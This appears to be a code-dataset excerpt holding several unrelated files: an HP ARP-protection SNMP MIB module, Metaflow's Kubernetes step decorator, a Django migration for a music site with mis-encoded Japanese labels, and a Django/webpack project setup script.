hpicfArpProtectErrantDestIp = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 1, 9), InetAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: hpicfArpProtectErrantDestIp.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectErrantDestIp.setDescription('Errant destination IP address included in a hpicfArpProtectNotification.')
hpicfArpProtectConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2))
hpicfArpProtectGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2, 1))
hpicfArpProtectBaseGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2, 1, 1)).setObjects(("HP-ICF-ARP-PROTECT", "hpicfArpProtectEnable"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanEnable"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectValidation"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectPortTrust"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatForwards"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatBadPkts"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatBadBindings"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatBadSrcMacs"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatBadDstMacs"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectVlanStatBadIpAddrs"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcMac"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcIp"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestMac"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantSrcIpType"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestIpType"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantDestIp"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantCnt"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantNotifyEnable"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hpicfArpProtectBaseGroup = hpicfArpProtectBaseGroup.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectBaseGroup.setDescription('A collection of objects for configuring and monitoring the base Dynamic ARP Protection functionality.')
hpicfArpProtectionNotifications = NotificationGroup((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2, 1, 2)).setObjects(("HP-ICF-ARP-PROTECT", "hpicfArpProtectErrantReply"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hpicfArpProtectionNotifications = hpicfArpProtectionNotifications.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectionNotifications.setDescription('A group of Notifications whose implementation is mandatory when HP-ICF-ARP-PROTECTION is implemented.')
hpicfArpProtectCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2, 2))
hpicfArpProtectCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 5, 1, 37, 2, 2, 1)).setObjects(("HP-ICF-ARP-PROTECT", "hpicfArpProtectBaseGroup"), ("HP-ICF-ARP-PROTECT", "hpicfArpProtectionNotifications"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hpicfArpProtectCompliance = hpicfArpProtectCompliance.setStatus('current')
if mibBuilder.loadTexts: hpicfArpProtectCompliance.setDescription('The compliance statement for HP switches that support Dynamic ARP Protection.')
mibBuilder.exportSymbols("HP-ICF-ARP-PROTECT", hpicfArpProtectObjects=hpicfArpProtectObjects, hpicfArpProtectErrantDestMac=hpicfArpProtectErrantDestMac, hpicfArpProtectVlanStatForwards=hpicfArpProtectVlanStatForwards, hpicfArpProtectNotifications=hpicfArpProtectNotifications, hpicfArpProtectVlanStatBadDstMacs=hpicfArpProtectVlanStatBadDstMacs, hpicfArpProtectVlanEnable=hpicfArpProtectVlanEnable, hpicfArpProtectPortTrust=hpicfArpProtectPortTrust, hpicfArpProtectStatus=hpicfArpProtectStatus, hpicfArpProtectVlanStatBadSrcMacs=hpicfArpProtectVlanStatBadSrcMacs, hpicfArpProtectGlobalCfg=hpicfArpProtectGlobalCfg, hpicfArpProtectionNotifications=hpicfArpProtectionNotifications, hpicfArpProtectVlanStatBadIpAddrs=hpicfArpProtectVlanStatBadIpAddrs, hpicfArpProtectGroups=hpicfArpProtectGroups, hpicfArpProtectErrantSrcIp=hpicfArpProtectErrantSrcIp, hpicfArpProtectErrantSrcMac=hpicfArpProtectErrantSrcMac, hpicfArpProtectVlanStatIndex=hpicfArpProtectVlanStatIndex, hpicfArpProtectValidation=hpicfArpProtectValidation, hpicfArpProtectErrantReply=hpicfArpProtectErrantReply, hpicfArpProtectErrantNotifyEnable=hpicfArpProtectErrantNotifyEnable, hpicfArpProtectBaseGroup=hpicfArpProtectBaseGroup, hpicfArpProtectCompliance=hpicfArpProtectCompliance, hpicfArpProtectConfig=hpicfArpProtectConfig, hpicfArpProtectEnable=hpicfArpProtectEnable, hpicfArpProtect=hpicfArpProtect, hpicfArpProtectErrantCnt=hpicfArpProtectErrantCnt, hpicfArpProtectPortEntry=hpicfArpProtectPortEntry, hpicfArpProtectVlanStatTable=hpicfArpProtectVlanStatTable, hpicfArpProtectErrantDestIpType=hpicfArpProtectErrantDestIpType, hpicfArpProtectPortTable=hpicfArpProtectPortTable, hpicfArpProtectCompliances=hpicfArpProtectCompliances, hpicfArpProtectVlanStatBadBindings=hpicfArpProtectVlanStatBadBindings, PYSNMP_MODULE_ID=hpicfArpProtect, hpicfArpProtectVlanStatBadPkts=hpicfArpProtectVlanStatBadPkts, hpicfArpProtectVlanStatEntry=hpicfArpProtectVlanStatEntry, hpicfArpProtectErrantSrcIpType=hpicfArpProtectErrantSrcIpType, hpicfArpProtectConformance=hpicfArpProtectConformance, hpicfArpProtectErrantDestIp=hpicfArpProtectErrantDestIp)
|
16,965 | 0be416d15dfe11f59e91b28fb2b54ab180b33bcd | import os
import platform
import sys
import requests
from metaflow import util
from metaflow.decorators import StepDecorator
from metaflow.exception import MetaflowException
from metaflow.metadata import MetaDatum
from metaflow.metadata.util import sync_local_metadata_to_datastore
from metaflow.metaflow_config import (
DATASTORE_LOCAL_DIR,
KUBERNETES_CONTAINER_IMAGE,
KUBERNETES_CONTAINER_REGISTRY,
KUBERNETES_GPU_VENDOR,
KUBERNETES_NAMESPACE,
KUBERNETES_NODE_SELECTOR,
KUBERNETES_SERVICE_ACCOUNT,
)
from metaflow.plugins import ResourcesDecorator
from metaflow.plugins.timeout_decorator import get_run_time_limit_for_task
from metaflow.sidecar import SidecarSubProcess
from ..aws.aws_utils import get_docker_registry
from .kubernetes import KubernetesException
try:
unicode
except NameError:
unicode = str
basestring = str
class KubernetesDecorator(StepDecorator):
"""
Step decorator to specify that this step should execute on Kubernetes.
This decorator indicates that your step should execute on Kubernetes. Note
that you can apply this decorator automatically to all steps using the
```--with kubernetes``` argument when calling run/resume. Step level
decorators within the code are overrides and will force a step to execute
on Kubernetes regardless of the ```--with``` specification.
To use, annotate your step as follows:
```
@kubernetes
@step
def my_step(self):
...
```
Parameters
----------
cpu : int
Number of CPUs required for this step. Defaults to 1. If @resources is
also present, the maximum value from all decorators is used
memory : int
Memory size (in MB) required for this step. Defaults to 4096. If
@resources is also present, the maximum value from all decorators is
used
disk : int
Disk size (in MB) required for this step. Defaults to 10GB. If
@resources is also present, the maximum value from all decorators is
used
image : string
Docker image to use when launching on Kubernetes. If not specified, a
default docker image mapping to the current version of Python is used
"""
name = "kubernetes"
defaults = {
"cpu": "1",
"memory": "4096",
"disk": "10240",
"image": None,
"service_account": None,
"secrets": None, # e.g., mysecret
"node_selector": None, # e.g., kubernetes.io/os=linux
"namespace": None,
"gpu": None, # value of 0 implies that the scheduled node should not have GPUs
"gpu_vendor": None,
}
package_url = None
package_sha = None
run_time_limit = None
def __init__(self, attributes=None, statically_defined=False):
super(KubernetesDecorator, self).__init__(attributes, statically_defined)
if not self.attributes["namespace"]:
self.attributes["namespace"] = KUBERNETES_NAMESPACE
if not self.attributes["service_account"]:
self.attributes["service_account"] = KUBERNETES_SERVICE_ACCOUNT
if not self.attributes["gpu_vendor"]:
self.attributes["gpu_vendor"] = KUBERNETES_GPU_VENDOR
# TODO: Handle node_selector in a better manner. Currently it is special
# cased in kubernetes_client.py
# If no docker image is explicitly specified, impute a default image.
if not self.attributes["image"]:
# If metaflow-config specifies a docker image, just use that.
if KUBERNETES_CONTAINER_IMAGE:
self.attributes["image"] = KUBERNETES_CONTAINER_IMAGE
# If metaflow-config doesn't specify a docker image, assign a
# default docker image.
else:
# Default to vanilla Python image corresponding to major.minor
# version of the Python interpreter launching the flow.
self.attributes["image"] = "python:%s.%s" % (
platform.python_version_tuple()[0],
platform.python_version_tuple()[1],
)
# Assign docker registry URL for the image.
if not get_docker_registry(self.attributes["image"]):
if KUBERNETES_CONTAINER_REGISTRY:
self.attributes["image"] = "%s/%s" % (
KUBERNETES_CONTAINER_REGISTRY.rstrip("/"),
self.attributes["image"],
)
# Refer https://github.com/Netflix/metaflow/blob/master/docs/lifecycle.png
def step_init(self, flow, graph, step, decos, environment, flow_datastore, logger):
# Executing Kubernetes jobs requires a non-local datastore.
if flow_datastore.TYPE != "s3":
raise KubernetesException(
"The *@kubernetes* decorator requires --datastore=s3 at the moment."
)
# Set internal state.
self.logger = logger
self.environment = environment
self.step = step
self.flow_datastore = flow_datastore
if any([deco.name == "batch" for deco in decos]):
raise MetaflowException(
"Step *{step}* is marked for execution both on AWS Batch and "
"Kubernetes. Please use one or the other.".format(step=step)
)
for deco in decos:
if getattr(deco, "IS_PARALLEL", False):
raise KubernetesException(
"@kubernetes does not support parallel execution currently."
)
# Set run time limit for the Kubernetes job.
self.run_time_limit = get_run_time_limit_for_task(decos)
if self.run_time_limit < 60:
raise KubernetesException(
"The timeout for step *{step}* should be at least 60 seconds for "
"execution on Kubernetes.".format(step=step)
)
for deco in decos:
if isinstance(deco, ResourcesDecorator):
for k, v in deco.attributes.items():
# TODO: Special case GPUs when they are introduced in @resources.
if k in self.attributes:
if self.defaults[k] is None:
# skip if expected value isn't an int/float
continue
# We use the larger of @resources and @batch attributes
# TODO: Fix https://github.com/Netflix/metaflow/issues/467
my_val = self.attributes.get(k)
if not (my_val is None and v is None):
self.attributes[k] = str(
max(float(my_val or 0), float(v or 0))
)
# Check GPU vendor.
if self.attributes["gpu_vendor"].lower() not in ("amd", "nvidia"):
raise KubernetesException(
"GPU vendor *{}* for step *{step}* is not currently supported.".format(
self.attributes["gpu_vendor"], step=step
)
)
# CPU, Disk, and Memory values should be greater than 0.
for attr in ["cpu", "disk", "memory"]:
if not (
isinstance(self.attributes[attr], (int, unicode, basestring, float))
and float(self.attributes[attr]) > 0
):
raise KubernetesException(
"Invalid {} value *{}* for step *{step}*; it should be greater than 0".format(
attr, self.attributes[attr], step=step
)
)
if self.attributes["gpu"] is not None and not (
isinstance(self.attributes["gpu"], (int, unicode, basestring))
and float(self.attributes["gpu"]).is_integer()
):
raise KubernetesException(
"Invalid GPU value *{}* for step *{step}*; it should be an integer".format(
self.attributes["gpu"], step=step
)
)
def package_init(self, flow, step_name, environment):
try:
# Kubernetes is a soft dependency.
from kubernetes import client, config
except (NameError, ImportError):
raise KubernetesException(
"Could not import module 'kubernetes'.\n\nInstall Kubernetes "
"Python package (https://pypi.org/project/kubernetes/) first.\n"
"You can install the module by executing - "
"%s -m pip install kubernetes\n"
"or equivalent through your favorite Python package manager."
% sys.executable
)
def runtime_init(self, flow, graph, package, run_id):
# Set some more internal state.
self.flow = flow
self.graph = graph
self.package = package
self.run_id = run_id
def runtime_task_created(
self, task_datastore, task_id, split_index, input_paths, is_cloned, ubf_context
):
# To execute the Kubernetes job, the job container needs to have
# access to the code package. We store the package in the datastore
# which the pod is able to download as part of it's entrypoint.
if not is_cloned:
self._save_package_once(self.flow_datastore, self.package)
def runtime_step_cli(
self, cli_args, retry_count, max_user_code_retries, ubf_context
):
if retry_count <= max_user_code_retries:
# After all attempts to run the user code have failed, we don't need
# to execute on Kubernetes anymore. We can execute possible fallback
# code locally.
cli_args.commands = ["kubernetes", "step"]
cli_args.command_args.append(self.package_sha)
cli_args.command_args.append(self.package_url)
# --namespace is used to specify Metaflow namespace (a different
# concept from k8s namespace).
for k, v in self.attributes.items():
if k == "namespace":
cli_args.command_options["k8s_namespace"] = v
else:
cli_args.command_options[k] = v
cli_args.command_options["run-time-limit"] = self.run_time_limit
cli_args.entrypoint[0] = sys.executable
def task_pre_step(
self,
step_name,
task_datastore,
metadata,
run_id,
task_id,
flow,
graph,
retry_count,
max_retries,
ubf_context,
inputs,
):
self.metadata = metadata
self.task_datastore = task_datastore
# task_pre_step may run locally if fallback is activated for @catch
# decorator. In that scenario, we skip collecting Kubernetes execution
# metadata. A rudimentary way to detect non-local execution is to
# check for the existence of METAFLOW_KUBERNETES_WORKLOAD environment
# variable.
if "METAFLOW_KUBERNETES_WORKLOAD" in os.environ:
meta = {}
meta["kubernetes-pod-name"] = os.environ["METAFLOW_KUBERNETES_POD_NAME"]
meta["kubernetes-pod-namespace"] = os.environ[
"METAFLOW_KUBERNETES_POD_NAMESPACE"
]
meta["kubernetes-pod-id"] = os.environ["METAFLOW_KUBERNETES_POD_ID"]
meta["kubernetes-pod-service-account-name"] = os.environ[
"METAFLOW_KUBERNETES_SERVICE_ACCOUNT_NAME"
]
# Unfortunately, there doesn't seem to be any straight forward way right
# now to attach the Batch/v1 name - While we can rely on a hacky approach
# given we know that the pod name is simply a unique suffix with a hyphen
# delimiter to the Batch/v1 name - this approach will fail if the Batch/v1
# name is closer to 63 chars where the pod name will truncate the Batch/v1
# name.
# if "ARGO_WORKFLOW_NAME" not in os.environ:
# meta["kubernetes-job-name"] = os.environ[
# "METAFLOW_KUBERNETES_POD_NAME"
# ].rpartition("-")[0]
entries = [
MetaDatum(field=k, value=v, type=k, tags=[]) for k, v in meta.items()
]
# Register book-keeping metadata for debugging.
metadata.register_metadata(run_id, step_name, task_id, entries)
# Start MFLog sidecar to collect task logs.
self._save_logs_sidecar = SidecarSubProcess("save_logs_periodically")
def task_finished(
self, step_name, flow, graph, is_task_ok, retry_count, max_retries
):
# task_finished may run locally if fallback is activated for @catch
# decorator.
if "METAFLOW_KUBERNETES_WORKLOAD" in os.environ:
# If `local` metadata is configured, we would need to copy task
# execution metadata from the AWS Batch container to user's
# local file system after the user code has finished execution.
# This happens via datastore as a communication bridge.
# TODO: There is no guarantee that task_prestep executes before
# task_finished is invoked. That will result in AttributeError:
# 'KubernetesDecorator' object has no attribute 'metadata' error.
if self.metadata.TYPE == "local":
# Note that the datastore is *always* Amazon S3 (see
# runtime_task_created function).
sync_local_metadata_to_datastore(
DATASTORE_LOCAL_DIR, self.task_datastore
)
try:
self._save_logs_sidecar.kill()
except:
# Best effort kill
pass
@classmethod
def _save_package_once(cls, flow_datastore, package):
if cls.package_url is None:
cls.package_url, cls.package_sha = flow_datastore.save_data(
[package.blob], len_hint=1
)[0]
|
16,966 | 324629e37c2735f5ad5485b730623a9cdb543d61 | # Generated by Django 2.1.4 on 2019-02-09 15:46
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Disc',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=199, verbose_name='CDใฎๅๅ')),
],
),
migrations.CreateModel(
name='Image',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, verbose_name='็ปๅใฎๅๅ')),
('image', models.ImageField(upload_to='images/', verbose_name='็ปๅ')),
],
),
migrations.CreateModel(
name='Movie',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=199, verbose_name='ๅ็ปใฎใฟใคใใซ')),
('url', models.URLField(verbose_name='ๅ็ปใฎURL(Youtube)')),
('discript', models.TextField(blank=True, max_length=1000, verbose_name='ๅ็ปใฎ่ชฌๆ๏ผ็ฉบ็ฝๅฏ๏ผ')),
],
),
migrations.CreateModel(
name='Music',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=199, verbose_name='ๆฒๅ')),
('url', models.URLField(blank=True, verbose_name='URL(็ฉบ็ฝๅฏ)')),
('relese', models.DateField(verbose_name='ใชใชใผในๆฅ')),
],
),
migrations.CreateModel(
name='Profile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('prof', models.TextField(default='ใใใซPROFILEๆฌใซ่จ่ผใใๅ
ๅฎนใๆธใใฆ ไฟๅญใใฆใใ ใใ', max_length=1000, verbose_name='profile')),
('update_at', models.DateTimeField(auto_now_add=True)),
],
),
migrations.CreateModel(
name='Suchedule',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=299, verbose_name='ใคใใณใๅ')),
('live_date', models.DateTimeField(verbose_name='ๆฅๆ')),
('place', models.CharField(max_length=500, verbose_name='ๅ ดๆ')),
('pickup', models.BooleanField(verbose_name='Pick up')),
('url', models.URLField()),
('img', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, to='_html.Image', verbose_name='ใคใใณใใฎ็ปๅ๏ผ็ฉบ็ฝๅฏ๏ผ')),
],
),
migrations.AddField(
model_name='disc',
name='img',
field=models.ForeignKey(default=None, on_delete=django.db.models.deletion.PROTECT, to='_html.Image'),
),
migrations.AddField(
model_name='disc',
name='music1',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='disk1', to='_html.Music', verbose_name='1ๆฒ็ฎ(ไบๆฒ็ฎไปฅ้ใฏ็ฉบ็ฝๅฏ)'),
),
migrations.AddField(
model_name='disc',
name='music10',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk10', to='_html.Music', verbose_name='10ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music11',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk11', to='_html.Music', verbose_name='11ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music12',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk12', to='_html.Music', verbose_name='12ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music13',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk13', to='_html.Music', verbose_name='13ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music14',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk14', to='_html.Music', verbose_name='14ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music15',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk15', to='_html.Music', verbose_name='15ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music16',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk16', to='_html.Music', verbose_name='16ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music17',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk17', to='_html.Music', verbose_name='17ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music18',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk18', to='_html.Music', verbose_name='18ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music19',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk19', to='_html.Music', verbose_name='19ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music2',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk2', to='_html.Music', verbose_name='2ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music20',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk20', to='_html.Music', verbose_name='20ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music21',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk21', to='_html.Music', verbose_name='21ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music22',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk22', to='_html.Music', verbose_name='22ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music23',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk23', to='_html.Music', verbose_name='23ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music24',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk24', to='_html.Music', verbose_name='24ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music25',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk25', to='_html.Music', verbose_name='25ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music26',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk26', to='_html.Music', verbose_name='26ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music27',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk27', to='_html.Music', verbose_name='27ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music28',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk28', to='_html.Music', verbose_name='28ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music29',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk29', to='_html.Music', verbose_name='29ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music3',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk3', to='_html.Music', verbose_name='3ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music30',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk30', to='_html.Music', verbose_name='30ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music31',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk31', to='_html.Music', verbose_name='31ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music32',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk32', to='_html.Music', verbose_name='32ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music33',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk34', to='_html.Music', verbose_name='33ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music34',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk33', to='_html.Music', verbose_name='34ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music35',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk35', to='_html.Music', verbose_name='35ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music4',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk4', to='_html.Music', verbose_name='4ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music5',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk5', to='_html.Music', verbose_name='5ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music6',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk6', to='_html.Music', verbose_name='6ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music7',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk7', to='_html.Music', verbose_name='7ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music8',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk8', to='_html.Music', verbose_name='8ๆฒ็ฎ'),
),
migrations.AddField(
model_name='disc',
name='music9',
field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.PROTECT, related_name='disk9', to='_html.Music', verbose_name='9ๆฒ็ฎ'),
),
]
|
16,967 | 0a5c3b083ba9d3a65a033bba7438963c26c1225b | import os
import re
import string
import json
import subprocess
from time import time
from warnings import warn
from argparse import ArgumentParser
from pathlib import Path
BASE_DIR = Path(__file__).resolve().parent
RESOURCES_DIR = BASE_DIR / "resources"
def main():
parser = ArgumentParser()
parser.add_argument("project_name")
parser.add_argument("-l", "--location", default=None)
args = parser.parse_args()
n = 10
t0 = time()
print(f"\nStep 1/{n}: Creating project directory")
if args.location is None:
args.location = BASE_DIR / args.project_name
else:
args.location = Path(args.location).resolve() / args.project_name
special_chars = re.escape(string.punctuation)
if re.search(fr"[{special_chars}]+", args.project_name):
warn("\"project_name\" contains invalid characters; automatically replacing with \"_\"")
args.project_name = re.sub(fr"[{special_chars}]", "_", args.project_name)
if args.location.exists():
proceed = input(f"Directory \"{args.project_name}\" already exists. Continue? [y/N] ").strip().lower()
if proceed != "y":
return 0
else:
os.makedirs(args.location, exist_ok=True)
resources = [
'.gitattributes',
'.gitignore',
'package.json',
'webpack.common.js',
'webpack.dev.js',
'webpack.prod.js',
]
for resource in resources:
subprocess.run(f"copy {RESOURCES_DIR / resource} {args.location / resource}", shell=True)
os.chdir(args.location)
with open("package.json", "r") as f:
package = json.load(f)
package["name"] = args.project_name
package["version"] = "0.1.0"
package["engines"]["node"] = subprocess.run("node --version", shell=True, capture_output=True).stdout.decode().strip().replace("v", "")
package["engines"]["npm"] = subprocess.run("npm --version", shell=True, capture_output=True).stdout.decode().strip().replace("v", "")
with open("package.json", "w") as f:
json.dump(package, f, indent=2)
print(f"\nStep 2/{n}: Initializing git repository")
subprocess.run("git init", shell=True)
print(f"\nStep 3/{n}: Installing Python deps")
subprocess.run(
"pipenv --python 3.7",
shell=True,
)
subprocess.run(
"pipenv install django django-heroku django-webpack-loader python-dotenv djangorestframework djangorestframework-jwt django-filter gunicorn",
shell=True,
)
print(f"\nStep 4/{n}: Installing Node.js deps")
subprocess.run(
"npm install -D",
shell=True,
)
print(f"\nStep 5/{n}: Setting up Django project")
subprocess.run(
f"pipenv run django-admin startproject {args.project_name} .",
shell=True,
)
subprocess.run(
f"pipenv run python manage.py startapp backend",
shell=True,
)
subprocess.run(
f"pipenv run python manage.py startapp frontend",
shell=True,
)
print(f"\nStep 6/{n}: Configuring Django settings")
os.chdir(args.project_name)
with open("settings.py", "r") as f:
settings = f.readlines()
for i, line in enumerate(settings):
if "from pathlib" in line:
import_line = i
break
settings.insert(import_line + 1, "\n")
settings.insert(import_line + 2, "load_dotenv()\n")
settings.insert(import_line, "from dotenv import load_dotenv\n")
settings.insert(import_line, "import os\n")
for i, line in enumerate(settings):
if "SECRET_KEY" in line:
key_line = i
break
secret_key = settings[key_line].split(" = ")[1].strip()[1:-1]
settings[key_line] = "SECRET_KEY = os.environ.get('SECRET_KEY')\n"
for i, line in enumerate(settings):
if "DEBUG" in line:
debug_line = i
break
settings[debug_line] = "DEBUG = os.environ.get('DEBUG')\n"
settings.insert(debug_line + 1, "\n")
settings.insert(debug_line + 2, "DEBUG_PROPAGATE_EXCEPTIONS = DEBUG\n")
for i, line in enumerate(settings):
if "ALLOWED_HOSTS" in line:
hosts_line = i
break
settings[hosts_line] = "ALLOWED_HOSTS = ['localhost', '.herokuapp.com']\n"
for i, line in enumerate(settings):
if "INSTALLED_APPS" in line:
apps_line = i
break
settings.insert(apps_line + 1, " 'backend.apps.BackendConfig',\n")
settings.insert(apps_line + 2, " 'frontend.apps.FrontendConfig',\n")
settings.insert(apps_line + 3, " 'webpack_loader',\n")
settings.insert(apps_line + 4, " 'django_filters',\n")
settings.insert(apps_line + 5, " 'rest_framework',\n")
for i, line in enumerate(settings):
if "DATABASES" in line:
database_line = i
break
rest_config = [
"\n",
"# REST API\n",
"\n",
"REST_FRAMEWORK = {\n",
" 'DEFAULT_FILTER_BACKENDS': [\n",
" 'django_filters.rest_framework.DjangoFilterBackend',\n",
" ],\n",
"}\n",
"\n",
]
set_split1, set_split2 = settings[:database_line], settings[database_line:]
set_split1.extend(rest_config)
set_split1.extend(set_split2)
settings = set_split1
for i, line in enumerate(settings):
if "TIME_ZONE" in line:
tz_line = i
break
settings[tz_line] = "TIME_ZONE = 'Asia/Manila'\n"
for i, line in enumerate(settings):
if "STATIC_URL" in line:
static_line = i
break
webpack_config = [
"\n",
"WEBPACK_LOADER = {\n",
" 'DEFAULT': {\n",
" 'CACHE': False,\n",
" 'BUNDLE_DIR_NAME': 'frontend/bundles/',\n",
" 'STATS_FILE': BASE_DIR / 'webpack-stats.json',\n",
" },\n",
"}\n",
"\n",
]
set_split1, set_split2 = settings[:static_line], settings[static_line:]
set_split1.extend(webpack_config)
set_split1.extend(set_split2)
settings = set_split1
env_config = [
"\n",
"PYTHON_ENV = os.environ.get('PYTHON_ENV')\n",
"\n",
"if PYTHON_ENV == 'production':\n",
" import django_heroku\n",
" django_heroku.settings(locals())\n",
"\n",
]
settings.extend(env_config)
